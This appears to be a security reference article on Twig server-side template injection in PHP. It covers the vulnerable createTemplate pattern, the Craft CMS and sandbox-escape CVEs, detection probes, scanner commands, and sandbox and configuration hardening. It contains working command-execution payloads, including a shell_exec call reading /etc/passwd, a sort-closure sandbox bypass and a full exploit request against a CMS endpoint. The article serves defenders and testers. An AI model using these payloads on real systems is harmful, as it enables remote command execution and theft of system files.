Twig SSTI

What is Twig SSTI?#

Twig is the default template engine for PHP Symfony and a widely used library in Drupal 9/10, Laravel (alongside Blade), and standalone PHP applications. SSTI in Twig occurs when user-controlled input is passed as a template string to $twig->createTemplate() or new Twig\Environment() constructor with a StringLoader, rather than being passed as a rendering variable to a pre-compiled template file. The Twig engine evaluates the attacker's expressions, providing access to PHP callables and the application's object model.

The primary Twig 2.x RCE vector exploits the _self global — a reference to the current template environment — and the registerUndefinedFilterCallback() method, which maps an undefined filter name to any PHP callable. Calling registerUndefinedFilterCallback("system") and then getFilter("id") invokes system("id"), achieving OS command execution. Twig 3.x removed direct _self.env access, but introduced new attack surface via filter chaining: {{ ['id']|filter('system')|join }} passes the string 'id' through PHP's system() function when no SecurityPolicy restricts callable names.

OWASP A03:2021 and CWE-1336 apply. Twig SSTI is one of the most active real-world SSTI variants in 2025-2026: CVE-2025-32432 (Craft CMS, CVSS 10.0, CISA KEV) exploited unauthenticated Twig injection at enterprise scale, and CVE-2022-23614 demonstrated that even Twig's sandbox implementation has been successfully bypassed.

Mechanism#

The vulnerable PHP code pattern:

// VULNERABLE — user input is the template SOURCE
$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);
 
$userTemplate = $_POST['template'];   // user input
 
// Creates a template from user-supplied string — SSTI vector
$template = $twig->createTemplate($userTemplate);
echo $template->render([]);

The attacker submits different payloads depending on Twig version:

// Twig 2.x — _self.env RCE
{{ _self.env.registerUndefinedFilterCallback("system") }}
{{ _self.env.getFilter("id") }}
 
// Twig 3.x — filter chaining RCE
{{ ['id']|filter('system')|join }}
{{ ['cat /etc/passwd']|map('shell_exec')|join }}
 
// Both versions — detection probe
{{7*7}}    → 49
{{7*'7'}}  → 7777777 (confirms Twig, not Jinja2)

Attack Variants#

Craft CMS CVE-2025-32432 Exploitation Pattern#

POST /actions/assets/transform HTTP/1.1
Host: target-craft-cms.example.com
Content-Type: application/x-www-form-urlencoded
 
transformImage[assetId]=1&transformImage[handle]={{ ['id']|filter('system')|join }}

Response contains: uid=33(www-data) gid=33(www-data) — unauthenticated RCE via Twig injection in the asset transform endpoint. Affects Craft CMS prior to 3.9.14, 4.13.2, 5.6.17.

Sandbox Bypass via sort Filter (CVE-2022-23614)#

// Even inside SandboxExtension — bypasses SecurityPolicy via sort callback
{{ ['id']|sort(function(a, b) { return system(a); }) }}

The sort filter accepted a user-supplied closure as a callback. The closure invoked system(), which was not blocked by SecurityPolicy because the policy validated filter names but not filter callback callables. Fixed in Twig 2.14.11 and 3.3.8.

Real-World Examples#

CVE-2025-32432 — Craft CMS Twig SSTI (CVSS 10.0, CISA KEV 2025-04-29)

Craft CMS versions prior to 3.9.14, 4.13.2, and 5.6.17 exposed a Twig template rendering endpoint in the asset transformation feature that accepted user-controlled template strings without sandboxing. No authentication was required. Active exploitation was confirmed within 24 hours of the CVE disclosure and the CISA KEV addition. The payload {{ ['id']|filter('system')|join }} achieved OS command execution as the web server user. The attack required only a POST request to the asset transformation endpoint — no user session needed.

CVE-2022-23614 — Twig Sandbox Escape (CVSS 8.8)

Twig 2.x before 2.14.11 and 3.x before 3.3.8 allowed sandbox escape via the sort filter when a user-supplied closure was passed as the comparison callback. The closure invoked system() directly, bypassing the SecurityPolicy which validated filter names but not callback implementations. This CVE demonstrates a pattern: Twig's sandbox has been repeatedly bypassed via filter callback mechanisms. Each fix addresses one vector; attackers find another.

HackerOne #1436052 — Twig SSTI in CMS Admin Template Editor ($6,000 bounty)

A researcher discovered Twig SSTI in a Symfony-based CMS template editor feature. The editor allowed saving templates containing {{ _self.env.registerUndefinedFilterCallback("system") }} followed by {{ _self.env.getFilter("id") }}. The SecurityPolicy sandbox was not enabled for the template editor, allowing the _self global to expose the environment. OS command execution as www-data was confirmed. This is one of the highest-bounty public Twig SSTI reports and is consistently cited in Twig security references.

Drupal 9/10 Custom Module SSTI Pattern

Drupal's Twig integration renders theme templates from the filesystem by default (safe). Vulnerable patterns arise in custom modules that accept user-controlled template strings: \Drupal::service('twig')->createTemplate($user_input)->render([]). Several Drupal Commerce and Views customization modules have shipped this pattern. The Drupal Security Team has issued security advisories for multiple contributed modules with this vulnerability.

Detection#

Manual Testing#

1. Submit {{7*7}} — response 49 confirms a {{}} engine.
2. Submit {{7*'7'}} — 7777777 confirms Twig (Jinja2 returns 49). This is the definitive single-probe engine differentiator.
3. Submit {{ dump() }} — if a PHP variable dump appears, Twig is confirmed with the dump extension enabled.
4. Submit {{ _self }} — an object reference in the response confirms Twig 2.x _self access.
5. Submit the Korchagin polyglot ${{<%[%'"}}%\ — Twig returns Twig\Error\SyntaxError: Unexpected token "punctuation" of value "<".
6. Test CMS theme editor fields, email template customization, and any feature labeled "custom template" or "template preview" — these are high-probability Twig SSTI entry points.

Automated Detection#

# SSTImap — Twig engine
sstimap -u "http://target.com/preview?template=*" --engine Twig
 
# tplmap — stable for Twig
tplmap.py -u "http://target.com/preview?template=*" --engine twig
 
# Nuclei — Craft CMS CVE-2025-32432
nuclei -u http://craft-cms.example.com -t cves/2025/CVE-2025-32432.yaml

BreachVex detects Twig SSTI through complementary techniques: paired arithmetic probes {{7*7}} + {{7*'7'}} (7777777 confirms Twig) and the Korchagin polyglot for error-based fingerprinting. Exploitation uses the filter-chain method {{ ['id']|filter('system')|join }} for Twig 3.x targets.

Prevention#

Primary Defense — Filesystem Templates Only#

// VULNERABLE — user input is template source
$template = $twig->createTemplate($_POST['template']);
echo $template->render([]);
 
// SAFE — template file, user input as variable
$twig = new \Twig\Environment(
    new \Twig\Loader\FilesystemLoader('/app/templates')
);
echo $twig->render('greet.html.twig', ['name' => $userInput]);

Sandbox Configuration (Defense-in-Depth Only)#

use Twig\Extension\SandboxExtension;
use Twig\Sandbox\SecurityPolicy;
 
$policy = new SecurityPolicy(
    ['if', 'for'],                              // allowed tags
    ['upper', 'lower', 'escape', 'date'],       // allowed filters — NO 'filter', 'map', 'sort'
    [],                                          // allowed methods (empty = none)
    [],                                          // allowed properties (empty = none)
    ['date']                                     // allowed functions
);
 
$sandbox = new SandboxExtension($policy, sandboxed: true);
$twig->addExtension($sandbox);

Twig Configuration Hardening#

// Production Twig configuration
$twig = new \Twig\Environment(
    new \Twig\Loader\FilesystemLoader('/app/templates'),
    [
        'autoescape' => 'html',    // enable HTML autoescape (default)
        'strict_variables' => true, // raise error on undefined variables
        'cache' => '/tmp/twig_cache',
        'auto_reload' => false,    // disable in production
        'debug' => false,          // never enable debug in production
    ]
);
 
// Disable dangerous globals if user templates are absolutely required
$twig->getExtension(\Twig\Extension\CoreExtension::class);
// Note: _self removal from globals requires Twig 3.x+

Resources#

• Twig Security Policy Documentation
• CVE-2025-32432 — Craft CMS NVD
• CVE-2022-23614 — Twig Sandbox NVD
• PortSwigger SSTI — Twig Exploit